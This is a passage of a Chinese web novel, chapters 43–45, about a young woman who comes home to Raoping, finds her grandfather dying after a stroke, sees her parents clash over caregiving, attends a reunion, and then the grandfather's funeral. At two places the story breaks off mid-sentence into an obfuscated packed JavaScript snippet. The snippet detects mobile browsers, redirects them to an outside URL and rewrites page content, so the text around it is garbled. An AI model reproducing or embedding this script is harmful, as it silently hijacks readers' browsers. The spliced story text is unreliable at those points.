晚上,散伙饭吃完,陈梓钰不给陈梓航开下半场的机会,直接把人拽回家,几瓶啤酒下肚的陈梓航脾气硬得很,就是不申请延毕。 “现在早就申请不了了,我已经毕业了。” 余希柠:“你对着你姐吼什么,这事儿本来就是你做得不对。” “长本事了啊陈梓航,同住一个屋檐下,你居然跟我玩金蝉脱壳!” 陈梓钰只觉得自己这个当姐的非常不称职,连弟弟没去学校上课都不知道。 姐妹俩之前利用五一假期看房,最后租下现在住的这个地方,三室一厅,一个月房租平摊下来每个人是一千四不到。 这会儿,陈梓航瘫倒在沙发上,一脸的醉相:“我都跟你说过了,这学位证不重要,阿浪他们最后一学期连一节课都没去,毕业证都没有不照样赚大钱?” 陈梓钰怒道:“你现在张口闭口就是钱,还有学生的样子吗?你怎么不看他前期砸了多少成本进去,他家要钱有钱,要权有权,是我们家能比的吗?” 这算是陈家事,余希柠不好插嘴,拿着换洗衣服去洗澡,主动把空间让给陈梓钰姐弟。等她再出来时,客厅里只剩陈梓钰一人。 “陈梓航呢?” “被朋友电话叫走了。”陈梓钰耷拉着脸,摇头:“我算是认清现实了,他再也不是小时候那个跟在我身后的小屁孩,根本管不了他。” 余希柠拿着毛巾擦头发,酝酿着合适的措辞,尽量不让自己的话影响到陈梓钰的判断,但多少能起到提醒的作用。 “打从他跟朋友合伙做生意,但没选择告诉我们开始,就说明他决定自己的事自己做主,自己负责。不是你一两句话就能劝回的,你充其量只是他亲姐,不是他人生的主导者。” “但是……” “人都是独立的个体,旁人若是想要横插一脚,就得最好以后随时被怨怼的准备,是要负责任的。” 余希柠越说越直白,下意识把眼前的人当成陈慧柔,把陈梓航当成自己。 “你替他出生活费,给他零花钱,难道还要负担他一辈子吗?就因为大妗说,你要顾着弟弟,就打算一直这么扶下去?你不过你自己的生活了?” 陈梓钰神情松动,更多的是惊讶,她看着余希柠:“我也不是这个意思……” 额前刘海的水珠滴落下来,落在眼睫毛上,余希柠禁不住眨了下眼,一瞬间抿退了眼底的情绪,拢回理智。 “哦,我就是,想到什么说了什么,你别介意。” 余希柠往前走了两步才意识到,吹风筒是放在房间里的,又折身返回:“我去吹头发,你去洗澡吧。” 这晚之后,陈梓航一天没回家,毕业狂欢的时间还在拉长,等到送走了为他特地赶来广州参加毕业典礼的朋友,才想起家里还有个刚吵完架的长姐。 陈梓航买了陈梓钰最喜欢吃的栗子蛋糕,甚至还去了趟市场买菜,回家看准了时间把饭菜最好,陈梓钰和余希柠回来时,餐桌上已经摆好了三菜一汤。 陈梓钰嘴上说自己不是一顿饭就能哄好的,但实际,已经不生陈梓航的气了,就像余希柠说的,他的事,他自己负责。 “我话先放这,如果爸妈知道了,我一不会替你隐瞒,二不会替你担责,你自己解决。” 陈梓航:“小事。” 43. 突变 转眼到了国庆,余希柠和陈梓钰抢到了回饶平的车票,陈梓航和同学约了去泰国玩。 高铁到站时,余希柠只看到余序洲一人来。 “我妈呢?” 往常陈慧柔是一定要跟过来的,而且每次都会站在出闸口最前排的位置,生怕余希柠看不到。踮脚张望的姿势在看见女儿时瞬间转为笑颜,招手示意,下一秒就要上前帮忙拎包或者推箱子。 “在你外公那。” “大丈。” 余序洲应声,推着余希柠的箱子往停车处走。 陈梓钰四处张望不见陈敬涛:“我爸没来吗?” “他啊,还在忙,我送你回去,顺带接你大姑回家。” 赶上国庆假期,大批人流回家,从停车场到外面路口,堵了将近十来分钟。 “阿公最近身体怎么样?妈这会儿在,是有什么事吗?” 陈镇东有三高,还爱抽烟喝酒,都是年轻时养成的坏习惯,老了让戒,怎么都不听,一说就发脾气。 前段时间,陈镇东血管阻塞,中风,在医院躺了小两个月。陈慧柔每天忙完家务活就往医院跑,有时候都顾不上给余希柠打电话。 余希柠察觉到异常,一问才知是外公住院了。 “还是老样子,你妈这会是过去送饭。” 余序洲在巷子口就把陈梓钰放下,再往里开的话,不好倒车出来。 “谢谢大丈,我先回家了,路上开车小心。” “拜拜。” 车窗升上,余希柠扭头问余序洲:“妈跑医院跑这么勤,大舅跟大妗在忙什么?” 余序洲沉默了片刻才淡淡开口:“等你见到你妈,自己去问这个问题。” “嗯?” 这话什么意思,敏感如余希柠一下就察觉到了余序洲的情绪,难怪这一路,他都没怎么跟陈梓钰交流,往常多少会问一些学校公开课安排之类的问题,毕竟是同行。 结果今天全程都没怎么说话。 车子在医院门口停下,保安挥手示意里面车位已满。余序洲把病房位置告诉余希柠,让她先自己进去。 上次来人民医院还是为了高考做体检,余希柠按照指示牌找到病房,还没进门就听见一阵又一阵的咳嗽声。 一个房间里有六张病床,设施陈旧又拥挤,每个床位旁边有个柜子,基本都放满了生活用品,余希柠屏住呼吸往里走,很快就看到陈慧柔。 只见她捋高了袖子,正在拧毛巾,病床的帘子是拉着的,从余希柠这个角度看不到床上的人。 “妈。” 她喊了一句。 陈慧柔猛地抬眼,当看见余希柠准备往这走来,忙不迭拦住:“你先去外面等,妈在帮阿公擦身,别过来。” “哦哦好。” 余希柠及时刹住脚步,有点无所适从,隔壁床的病人家属也看了过来,她不知道该不该打招呼,但还是颔首示意了下,快步离开。 走廊里有股说不上来的味道,不像消毒水,余希柠形容不出。像台风天刚过,破旧老屋里的家具因为泡过水而散发出来的陈旧闷臭。 她走到尽头,是半截围墙开放式空间,足够透气。 约莫过了十来分钟,陈慧柔端着盆水出来倒掉,洗干净手才走到余希柠面前。 “你怎么过来了?” “爸说来接你回家,我顺便跟阿公打声招呼。” 余希柠望了眼病房,压低声音问:“妈,怎么是你帮阿公擦身,这种事情不应该是大舅来吗?” “你大舅晚上有饭局,要晚点才过来。只是擦身,你外公是我亲爸,都是老人了,这有什么。” 陈慧柔表情自然,一看这种事就不是第一次做。 但余希柠还是接受不了,嘀咕了一句:“阿公都躺在医院了,什么饭局还非去不可。” “行了别念叨,来都来了就进去打声招呼,然后让你爸先送你回家。”陈慧柔扫了眼四周,没看见余序洲:“他人呢?” “找停车位去了。” 余希柠随着陈慧柔进去,病房里其他病人家属又一次看过来。 “这是你女儿啊?长得真好看,像大明星似的。” 陈慧柔莞尔:“打招呼,叫阿姨。” 余希柠尬笑:“阿姨好。” 她就是穿得稍微精致了些,想着回来第一眼给父母一个都市白领的形象,好知道她在外上班是什么样子的。 被形容成大明星可不敢当。 这会儿病床的帘子已经拉开了,陈镇东正阖眼休息。余希柠走近后,第一眼是又惊又惧,心脏扑通一声,伴随着的是瞬间涌上来的酸涩。 “阿公……” 病床上躺着的老人瘦得脸颊深陷,颧骨高高突起,明明五一假期才见过,还有说有笑,和如今这副模样简直判若两人。 陈镇东费劲睁开眼,看向余希柠,眼神里浮现一丝光亮,唇角缓慢颤抖地勾出弧度:“希柠……回来了,放假了?” “对的外公。”余希柠努力克制着嗓音里的颤意,深呼吸抑制波动的情绪:“国庆放假,我和梓钰姐都回来了。” “好,梓钰也回来了。”陈镇东喘了喘气,又问:“梓航呢,回来了没?” 余希柠抿唇:“他没回,和朋友去旅游了。” “哦,旅游啊……旅游好。” 陈镇东眼底闪过一丝暗淡,紧接着又咳了两声。 “爸。” 余序洲停好车过来,先是跟陈镇东打了声招呼,又看了眼四周,依旧不见陈敬涛和王君的身影。 “大佬呢?不是说好过来替你?” 陈慧柔敛下眸,淡声解释:“有个饭局,推脱不掉,说吃完再过来。” “吃完再过来?”余序洲声量一下就提高了,当着陈镇东的面,他不满道:“这第几次了,你从上午就过来,多少个小时了也没休息过。” “你说这些干什么?先带希柠回去吧,她估计都饿了,冰箱里我解冻了肉卷,切小块裹着鸡蛋煎一下然后和番茄炒酸甜口,茭白切丝和虾仁一块炒,汤……你看着办吧。” 都这种时候了,陈慧柔还能有条不紊地吩咐晚饭做什么:“给我留饭就行,等大佬来了我就回去。” “你怎么回去,摩托车都没开过来。”余序洲话里还带着气。 陈慧柔:“我拦辆三轮总行了吧?” “妈,我吃完过来接你,我吃快点。”余希柠答道。 陈慧柔:“你别来回跑了,今天坐了一天车也挺累的。” “三个多小时的高铁有什么好累的,就这么说定了,我和爸先回去。” 余希柠推了推余序洲,又和陈镇东道别。 出了病房门,余序洲步子迈得很快,余希柠小跑才跟上,分明有一肚子问题想问,又不知道哪一个先。 “阿公怎么突然病成这样啊?我刚看到都吓了一跳。” 余序洲语气平静无波:“年纪大了,牵一发而动全身,什么老毛病一下子都暴露出来了。” “之前不是说有好转吗?” 余希柠记得陈慧柔在电话里是这么说的,难道是故意瞒着她? “之前是下了病危通知书的,现在确实算有所好转,但还得住院一段时间。”余序洲回头看余希柠,“你和陈梓钰陈梓航住一起,没听他们说起过?” 余希柠认真回想了一下,还真没有。 主要是她现在工作也忙,有时候回到家,话都不想说了,洗完澡就只想躺被窝里刷电视剧,聊天八卦什么的都没兴趣。 陈梓钰还得备课,衣服晾完就回屋办公,互不打扰。 至于陈梓航,可以忽略不计。 “看样子你大舅也没把你外公的事和他们说。” 回到家后,余序洲马不停蹄去做饭,余希柠在旁边打下手,动作干脆利落,很快三菜一汤就做好了。 “你记住,如果到的时候,你大舅还没有过去,你就给他打电话,催他。” 余希柠扒拉着碗里的饭,听到这话,抬眼瞥了余序洲一下,含糊应声。 回家第一顿饭吃得像打战一样快,余希柠甚至连汤都没来得及喝,说等陈慧柔回来再一起。抽过纸巾囫囵擦了下嘴,拿起车钥匙就出门。 一天来两次医院,路依旧不是很熟,刚上到三楼就在拐角处遇见了王君。 “大妗。” “希柠?这么晚了还来看你外公?” 余希柠边往里走边解释:“下午已经来过一次了,这会儿来接我妈回家,她还没吃饭呢,我大舅来了吗?” 王君:“你大舅晚上饭局喝酒了,我就让他回家休息,我来替你妈。” “哦。” 余希柠态度有些敷衍,甚至抢先在王君面前进病房,这会儿陈镇东已经睡了,陈慧柔刚洗完保温杯放在桌上晾干。见王君来了,也和余希柠问了同样的问题。 王君近些年因为陈敬涛的关系,没少跟着出门应酬,漂亮话如今是信手拈来。 三两句先说陈敬涛的不是,再说陈慧柔辛苦,面上抹得一片平和,在外人看来就是非常好的姑嫂关系,不分彼此。 陈慧柔早已习惯,没过多计较,说了一下输液情况后就和余希柠先走。 “肉卷好吃吗?”陈慧柔突然问,“知道你喜欢,我周末提前做的,第一次包还不是很熟练。” 余希柠鼓着腮帮子,纳闷道:“我都不知道你每天还得来医院照顾阿公这么久,都这么忙了你还做什么肉卷,外面买现成的不就行了吗?” “现成的料哪有我们自己做的好。” 余希柠:“那也不是非吃不可啊。” “你难得回来,就想做些你爱吃的,外面吃不到的给你。” 陈慧柔看着余希柠,脸上露出欣慰的笑容:“妈今天还没来得及夸你,这身衣服真好看,很衬你气质,以后就要买这种衣服才行,别总买那种乌漆嘛黑的。” 在医院待了整整一天,陈慧柔回家后第一件事就是洗澡,然后把脏衣服单独扔洗衣机洗了晾晒。 余序洲虽然没和她说一句话,但还是用热饭的实际行动来证明对妻子的关心。 “怎么汤剩这么多啊?你们都喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“连擦身这样私密的事情,都让你妈一个已经出嫁了的女儿做,你听听看,是不是街市少有的事。” 这是余希柠亲眼所见,她也觉得不妥。 “你妈就是心地好,被人当傻子来使唤。” 陈慧柔:“余序洲,这些事情又没让你干,我自己干得来,心甘情愿怎么也要挨你说了?” “我就是看不惯你犯蠢,知道一句古话吗?嫁出去的女儿泼出去的水。” 余序洲拿起茶杯,本是气呼呼打算离开,走了两步路又折回来:“我妈生病的时候,怎么没见你这么殷勤过?” 这话一出,余希柠有种完了,大事不妙的感觉。 果不其然,下一秒陈慧柔整张脸冷了下来:“你怎么好意思提你妈?你父母怎么对我的,要我一桩桩一件件数给你听吗余序洲?这么多年过去了,我现在想起来都会觉得反胃恶心!” 余希柠低估了陈慧柔的怒气,显然余序洲也没料到自己一句话会让妻子这么生气。 “我坐月子她给我买过一次鱼没有?照顾过我没有?你早餐做晚了,是不是还挨她骂?希柠还不到一岁就赶我们走,房子都没有,住哪?她问过吗?关心过吗?余序洲你是不是贱骨头啊,你爸妈这么对我们家,难道我还要热脸去贴冷屁股,巴巴去伺候吗?” 陈慧柔气到说不出一句好话来,浑身上下都在颤抖:“她卧床的那些天,我花心思炖汤得到她一句好话了吗?余序洲,人心都是肉长的,你说话能不能过一过脑子?” 许是因为当着余希柠的面,余序洲觉得自己作为一家之主,面子还是要有的,被陈慧柔这么劈头盖脸一顿骂,就是再有道理,他也不想认。 “那你爸这边呢,当初你妈生病,你也是两头跑,是,落了个好女儿的名声不假,但你有没有想过,该尽义务的是大佬和你那远在深圳的弟弟。你没出嫁前,父母是紧着你还是紧着俩兄弟,你自己心里有数,这本来就是他当大哥该做的,凭什么都让你来。” 余序洲早就看不惯了,近几年他对陈敬涛家颇有怨言,在外是副校长,有威严不假,但在家里,对着自己人还一副领导模样,指挥着陈慧柔做这做那,凭什么。 偏偏陈慧柔是那种兄长吩咐什么,她就立马去做的人,对陈敬涛的话无条件服从。 这也是余序洲最生气的原因之一,他觉得自己话的分量都比不上陈敬涛。 “那是我亲爸,是在我们被你父母赶出来,居无定所的时候伸出援手帮助的人。我不管大哥和陈敬禹做多做少,我只管自己良心能不能过得去。” 一股热意涌上眼眶,陈慧柔转过身去背对着余希柠和余序洲,只看得见她的脊背一下一下快速起伏。 余希柠起身推了推余序洲,示意他到此为止。 这种事情本就没有所谓对错之分,她恨不得把自己劈成两半,一半站陈慧柔,一半站余序洲。 可惜她是完整的人,这会非要说谁对谁错,也没什么说服力,一方依旧存有不满。 44. 催促 “妈,小舅知道外公生病的事吗?他没说什么?” 透过窗户往外望去,小区里好几家客厅都亮着灯,正开着电视在看节目,唯有他们家,厨房灯还亮着,灶台还没收拾,洗碗池里还堆着没洗完的锅具。 余希柠好几次想挽袖子帮忙,都被陈慧柔抬手肘挡下。 陈慧柔缓下情绪:“你小舅在深圳也过不来,但你外公的医药费都是他负责的。” 没法儿出力就出钱,这倒也没话说。 余希柠还想问什么,陈慧柔回头打断她:“这些不是你要操心的,该做什么赶紧去做。” “我放假是回来休息的……做什么啊?” 陈慧柔没再理她,顾自忙着自己手头上的事情。 余希柠本想着找余序洲再问问,结果出去了才发现,人早就不在家了。 放假回家的第一晚,寡淡得让余希柠有些难以相信,洗完澡后就在房间里玩手机,不时听着屋外的动静。 陈慧柔进进出出晾衣服、洗衣服、扫地、拖地,基本没有闲下来的时候。电话响时,余序洲正好进门,离得近顺手就接了。 是陈慧琪打来问陈镇东情况的,余序洲直接把陈慧柔叫过来接电话,根本没耐心多说两句。 陈慧琪自结婚后也没怎么回来,基本都是电话联系,余希柠去广州后只见过她两三次,其他时间陈慧琪忙得不行,不是出差就是应酬。和丈夫结婚好几年了也没要孩子,说是要丁克。 余希柠很佩服这种超前思维,特别还是在潮汕这种地方走出去的女性。 没聊多久,通话就结束了,陈慧柔起身,迎面遇上准备去洗澡的余序洲,后者勾起唇角讽刺道:“这才是嫁出去的女儿,你看看你妹,再看看你自己。” “你跟我过来。” 陈慧柔把余序洲拽进书房,把门关上反锁。 “锁着干什么?” “你想吵给希柠看,是觉得她能跟你站一条线对付我吗?”陈慧柔拉过椅子坐下,面无表情地看着余序洲。 “你就没有想过,在希柠面前把她舅舅舅妈说成是自私自利的人,她回到广州,要怎么跟表姐弟相处?都是家里人,有时候吃点亏怎么了,换位思考,你妈生病那几年,你不也心甘情愿不求回报地忙前忙后照顾,我说你什么了吗?我说你大哥大嫂了吗?” 室内一片缄默,余序洲站在窗前,挡住了大半的风,陈慧柔随手拿起一本杂志当扇子,没两下就不耐烦地丢到一边。 “你这人挺好笑的,一句句像是多维护我的样子,关键时候就当隐身人,什么话都不敢说。” 余序洲一脸不解:“什么隐身人?” “难道不是吗?大佬让我去照顾阿爸,让我去接班,你不都在旁边听着?一句话都没说,不是看不惯吗?那为什么不当面帮我拒绝,你是我丈夫啊。”陈慧柔撇开脸不看余序洲,“我就是靠不上你,才得巴巴答应我大哥的要求。” 余序洲被怼得一句话都说不上来,好几次手都抬起来了,想说什么说不出,又放下。 陈慧柔似是心如止水:“当初嫁给你我就知道,自己选了个老实人,今后是一定要吃亏的。但老实有老实的好,不会算计也不会争吵,这日子就还能过。但你现在,见缝插针地奚落我,有意思吗?” “我怎么帮你拒绝,那是你大哥,强势惯了,我说的话有用?” 见余序洲还在上一个话题里,陈慧柔气笑,他何止是老实,连反应能力都比别人慢半拍。 “算了,指望不了你半点,毕竟当初你连反抗你大哥也不敢,不是吗?” 陈慧柔站起身,把椅子挪回原处:“希柠难得放假回来,我不想跟你吵,你也别去她面前碎嘴。” 说完,她打开书房的门径直离开,余序洲低着头,没有留意到她时时攥紧的拳头。 很多话陈慧柔从前就想说了,一直忍着,是想多一事不如少一事,今天见余序洲当着余希柠的面这么吵,是真的生气又失望。 是她不想有着一个能护着自己的人吗? 从做小女孩的时候她就想了,想父母偏心她,等到嫁了人,想丈夫护着她,女儿理解她。 可一路走来,这些统统都没有,她还是一个人在默默忍受着。 假期五天,余希柠基本每天下午都会去医院看陈镇东,有时候遇上他精神头好些,还能聊个十来分钟。 护士查房都在说,陈伯精神头好了不少,还得是有年轻人来劳热。(潮汕话意思热闹) 小姑偶尔早上过来,替陈敬涛或者王君回家吃饭,这日见到余序洲在,还微微惊讶。 余序洲解释:“慧柔感冒了,怕传染给爸,换我来。” 陈镇东原本阖眼休息,一听陈慧柔感冒了,睁开眼问情况。 余序洲:“已经吃了药在休息了,家里有希柠在。” “怎么感冒了?没睡好?” 看得出来陈镇东还是很关心陈慧柔。 小姑心疼道:“她一定是跑得太勤,给累的。要理家作家务,还得来医院照顾老爸。” 余序洲:“是,我让她这两天好好休息,阿爸这里我来照顾。” 小姑问:“希柠这次放假回来,你们一家也没能出去旅个游什么的,对了,她有对象了没?” 余序洲道:“还没有吧,没听她说。” 小姑催促道:“你们家长得催了,不然就跟梓钰一样,都三十了,还没嫁出去。我邻居家那个儿子,孩子都有了,还比梓钰小一岁。” “小姑说梓钰什么呢?我在门口就听见了。” 王君带饭过来,见余序洲在,也是面露惊讶,问了才知道陈慧柔生病了。 小姑解释:“说梓钰找对象的事呢,之前谈的那个怎么分了啊?不是说条件很好吗?还以为能喝上喜酒了。” 王君把保温盒端到床头柜上放好,笑笑道:“互相介绍的对象哪有自己谈的容易,梓钰觉得不合适,我们做家长的也不好说什么,都是讲究个缘分。” 小姑:“你们家啊,一定是眼光高,要我说过日子的,差不多就可以了,挑来挑去,时间不等人。” 王君脊背挺直,下巴微微扬起,高傲的表情溢于言表:“眼光高有问题吗?我们家梓钰条件多好,人长得漂亮,性格好,还是大城市的在编语文老师,追求者排队都得从南门排到西门的。不得好好挑一挑?” 都是些婆娘家的话题,余序洲实在听不下去,借口抽根烟,离开病房透透气。 下午六点多,陈梓钰来送晚饭。 “大丈你先回去吧,我在这待到八点,等我爸轮夜班了我就回去,这会儿阿爷应该没什么需求。” “那行,我回去吃饭。” 余序洲在楼下泊好车,就见余希柠拎着垃圾下楼,衣着打扮像是要外出。 “要去哪?” “啊,和朋友约了去江边喝茶。” “开车吗?你妈的小电动好像这两天没充电。” 余希柠随意地招招手:“不用,我朋友来接,结束了他再送我回来。” “什么朋友啊。” 余序洲又多问了一句,余希柠这一步回了三次头,纳闷道:“爸,你今天怎么这么八卦,妈都没你问得多。” 余序洲:“……” “走了,拜拜。” 余序洲看着余希柠的背影消失在拐弯处,心想,自己一定是受到老姑和王君谈话的影响。 今晚是小学同学聚会的局,约在了江边一个茶座,余希柠本是不想来的,小初高这帮人里,就属小学的最不熟。 有些人现在如果在路上遇见,名字都不一定叫得出来。 但宋乔说要有人陪,余希柠想了想还是答应了,一方面她也存了自己的心思,想看林屿沉会不会来。 “嗨!宋乔,这位是……希柠?” 人刚到,组织聚会的副班长就上前来认人,她也是靠猜的,毕竟上小学时和宋乔关系最好、形影不离的就是余希柠。 “是我,班长好。” “好久不见啊希柠,感觉有好长一段时间没听到你的消息,现在在哪里工作啊?” “在广州。” “做什么啊?” “外企,做市场策划。” 余希柠笑着寒暄了两句,跟宋乔找了个不起眼的地方坐下,借着倒水的动作观察着旁边两三桌。 “人你都认清谁跟谁了吗?” 宋乔:“还没呢。” 话音刚落,副班长就走过来这桌,大声道:“大家伙,宋乔和余希柠来了。” 宋乔屁股刚碰到椅子,又站起来,不忘拉上余希柠,挥了挥手:“嗨,大家好。” 余希柠:“……好。” 其他桌的人招了招手,有几个女同学挪着椅子坐过来聊天,余希柠听着名字才对上号,眼角余光扫了眼四周,并没有见到那个想见的身影。 “希柠,你在哪个区啊?我也在广州工作,说不定以后还能在广州约饭。” “天河。” “我也是!我在林和西那边。”女同学下一秒拿出手机,“加个微信吧,你是不是都没有进班群啊?” “有班群吗?我不知道。” “我拉你进去吧。” 余希柠受宠若惊:“谢谢啊。” “小事一桩。” 果然是行动派,余希柠的列表很快出现了个新群,点进去看,也有七十多人了。 “大家昵称都是学号,你记得改哦。” 隔壁桌叫人,女同学又撤了回去,这桌瞬间只剩下余希柠和宋乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15130889|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人。 宋乔压低了声:“你不是不想进?之前拉你你还拒绝。” “我是不想,可人家当面问的,我能怎么办,总不能和在做其他人都唱反调吧?来都来了。”余希柠拆开薯片,给宋乔递过去:“所以你来的目的是什么?” 宋乔:“积累点人脉,日后定能用上。” “佩服。”余希柠竖起大拇指,佯装不经意道:“最该来给你当人脉的人没出现,你失算了。” “谁?”宋乔看了余希柠一眼,暧昧道:“不会是林屿沉吧?” 余希柠还在装淡定:“对啊,他不是第一名吗?你要找的不该是精英?” “那是你的心思,不是我的。” 宋乔看破不说破,这也是她力邀余希柠来的原因,但她不敢保证林屿沉会不会出现,毕竟他连班群都没有冒过泡。 “两位好同学,可以聊会天吗?” 宋乔闻声抬头,眼尖地认出人来并顺利叫对名字,余希柠心里大喊一声好险,面上装作很熟稔地聊天。 后面有人提议把所有桌子都拼到一起,方便聊天和玩游戏,结束前还拍了张大合照发在了班群里。 余希柠到家才看到那张照片,她正好坐在灯盏下,拍出来的脸色比其他人要亮,乍一看很明显。 “这发图的人也不修一下,脸颊肉好明显……” 女生对自己五官颜值的缺点总是很敏感。 “期待春节能再聚一次!@所有人” 作为群主的班长圈了全员,消息顿时多了起来,有回应春节聚会的,也有凭着照片在认人的。余希柠通讯录冒出小红点,是通过群聊来添加的同学,她一一点了通过。 陈慧柔拿着叠好的衣服进来,知道余希柠今晚是去参加同学聚会,问:“怎么样,有没有认识几个也在广州工作的单身男同学?” “妈……你又来。” 陈慧柔打开衣柜,把衣服分门别类放好,听着余希柠的语气,回过头来:“怎么了,你现在工作也落实了,下一步就要找对象谈恋爱。从以前认识的同学里发展是最好的,都是同个地方的人,知根知底,以后结了婚回家也方便。” “没几个在广州的,有也不是我喜欢的类型。” “你喜欢哪种类型?”陈慧柔瞬间抓住余希柠的话柄,接着问。 余希柠丝毫不上当,表情警惕:“我和你说这些干什么,你又不懂。” “我可以帮你留意一下啊,万一哪个亲戚朋友来介绍,我不得先帮你把关?” 陈慧柔干脆坐在床边不走了,大有一种要认真聆听的感觉。 余希柠捋了捋头发,仔细想:“嗯……身高要在180以上,人长得要帅,不能太胖了。” “帅能当饭吃?我跟你说,帅就是最没有安全感的,你得时时刻刻看紧他。” 陈慧柔忍不住打断余希柠,觉得这种以貌相人的态度不对。 余希柠反驳道:“是睁开眼就看见的人,日日夜夜都对着的一张脸,不帅怎么可以?” 陈慧柔听不下去,摆手道:“睡吧,梦里要什么都有。” “对了妈,我今天聚会上没看见林屿沉。” 余希柠努力让自己的语气听上去很自然,真的像关切老同学那般。 陈慧柔莫名看了她一眼:“怎么突然提起林屿沉?你俩有联系吗?” “没有,还不是因为你认识,就顺便跟你说一下。沐卿姨现在不炫耀她这个聪明的外甥了?” “上次听你沐卿姨说,好像是在国外读研,毕业了去哪就不知道了。” 陈慧柔很少主动问起林屿沉的情况,别人家的孩子,她打听再多也没用。 “他家那情况,他还能出国留学?” 余希柠多少有些惊讶,印象总停留在陈慧柔描述他学习条件很艰苦,但本人很争气的阶段。 陈慧柔:“这我就不清楚了,兴许上大学做兼职有奖学金也说不定。” 余希柠适时打住,生怕再聊下去又会把火引到自己身上。 “明天确定不带什么吃的回去吗?” 转眼就到了假期最后一天,陈慧柔还惦记着给余希柠准备一些方便携带的实物:“要不我给你做几盒薄饼去怎么样?要吃的时候就拿出来煎一煎,放冷冻的话应该能吃两个星期左右。” “不要麻烦了,你病才刚好,不能太劳累。” 陈慧柔莞尔:“有女儿心疼的感觉,真好。” 余希柠愣了下,嫌肉麻地挥了挥手:“赶紧去休息,我差不多也要睡了。” 陈慧柔主动道:“要不我今晚申请跟你睡,可以吗?” “不行不行,我都多大了,多一个人睡旁边会不习惯。” 余希柠放下手机,把人推出房门:“晚安。” 45. 事实 节后返广,余希柠时不时会问陈镇东的情况,这日她正在开会,忽然接到陈慧柔打来的电话,直接拒接挂断。 这是一个信号——在忙,不方便接电话。 往常这时陈慧柔就不会再打了,但今天她依旧打来,预感不妙,余希柠小幅度弯腰起身,同身旁领导悄声示意接个电话。 领导默许后,她才跑到会议室外面。 “妈,怎么了?我在开会呢。” “希柠,你外公不行了。” 走廊的白炽灯亮得有些刺眼,余希柠抬手扶额遮挡光线,陈慧柔在电话里吩咐她和陈慧琪、陈梓钰、陈梓航约好时间,买时间最近的车票回来,一刻都不要耽搁。 余希柠背靠着墙壁作深呼吸,嗯了一声答应。 陈慧柔啪一下就把电话挂了,显然家里应该已经一团乱。 陈梓钰也发消息过来,要走了余希柠的身份证,她统一订票回去。 OA请假申请提交后余希柠开始收拾东西,原本最近跟了一个新项目,林马克有意要她来做,几乎就是亲自带,每个环节都参与,现在不得不换人跟进。 外企的竞争激烈,有时候都是看不见硝烟的战争,余希柠不用想也知道,回来后,她大概率没法儿再进这个组了。 高铁上,余希柠和陈慧琪夫妇坐在一起,望着窗外不停倒退的风景,记忆一下回到了十几年前,阿嬷去世时,她因为外孙女的身份连白事都不用参加,这次让请假回去,看来家里开明了许多。 抵达高铁站,是余序洲开车过来接,陈慧琪的老公江源坐在副驾驶,陈慧琪和三个小辈挤在后排,两前两后交叉坐,勉强挤着。 “序洲哥,爸的情况怎么样?” 余序洲抿唇,沉吟片刻道:“已经说不出话,睁不开眼,只是在不停喘气。” 陈慧琪眼泪一下就掉下来。 一行人到的时候,屋子里已经来了不少亲朋,先生挽着袖子张罗白事程序,陈敬涛和王君忙前忙后按照指挥安排东西和布置。 陈梓航最先进里屋,陈慧柔正坐在陈镇东床头,见小辈们都来了,让开位置给他们和阿公说话。 每个人坐下,牵起陈镇东的手,陈慧柔都会大声告诉他——是谁来了,如果他知道,就手指回握一下。虽然很缓慢,很费劲,但陈镇东还是一一回应了。 屋里挤不下太多人,陈梓钰和余希柠最先离开,搬了张凳子坐在门口,背靠着门栏,眼望天上的弦月。 很快巷子口传来仓促有力的脚步声,陈敬禹一家来了,包括陈时宜。余希柠和陈梓钰起身打招呼,没过多久,陈时宜就从屋里出来了,前后也不过十来分钟。 “我陪你们坐这吧。” 陈时宜从小家境优渥,早早出国留学,如今在大厂上班,听说正准备申请英硕,也不知道准备得怎么样。和她们几个在饶平打滚混大的表姐弟之间,有着一道天然隐形的分界线。 “腾讯忙吗?听说普遍都要加班。” 陈梓钰主动问起陈时宜工作情况。 陈时宜撩了下头发淡淡道:“我是做产品的,有时候分析数据会花点时间,其余都还好。大厂工作不都是这样吗,忙才充实。” 陈梓钰点点头,没再继续问,仿佛提问题只是社交礼貌上的一种。 “柠姐,你现在工作还用得上西语吗?感觉大陆还是说英语比较多,不像在国外。” “偶尔还是用得上,跟客户对接聊方案的时候,有时候说西语会让他们觉得很亲切。” “对对,我也觉得。” 陈梓航出来后,看到三个姐姐都坐在门口,自己也搬了张凳子坐在最末处。没有人说话,他就自己开始讲—— 讲小时候被陈敬涛追着打,满巷跑,陈镇东闻声出来护着他;讲上高中时想买辆运动单车,陈敬涛不让,陈镇东偷偷给他塞钱买,说当送他的生日礼物;讲他没零花钱的时候,跑去陈镇东面前献殷勤,结果话还没说,陈镇东就先给了他零花钱,摆明早就知道他的心思…… 余希柠跟陈梓航住这么久,很少见他情绪如此外露,一下子说这么多的话,到后面还哽咽了。 陈梓钰仰着脸看星空,不时抬手抹掉眼角的泪水。 唯有陈时宜,声线很平静:“很羡慕你,能得到爷爷这么多的爱。你说的这些,都是我不曾体会过的。” 余希柠想说其实她也差不多,但回头想,还是比陈时宜好一点。 孙辈轮流守了一夜后,凌晨四点,陈镇东去世了。 次日白事,子女和孙子孙女都戴上了由生麻制成的衣服,长辈们腰间系的是陈敬涛生前穿过的衣服,小辈们腰间系的是麻绳。 余希柠是唯一的外孙女,不用披麻,站在了所有人最后面。 “孝子贤孙都到齐了吗?” 先生问道。 见人齐,仪式开始,先生嘴里念念有词,陈敬涛和陈梓航作为长子长孙按照先生的指挥忙碌着,最后是三鞠躬。 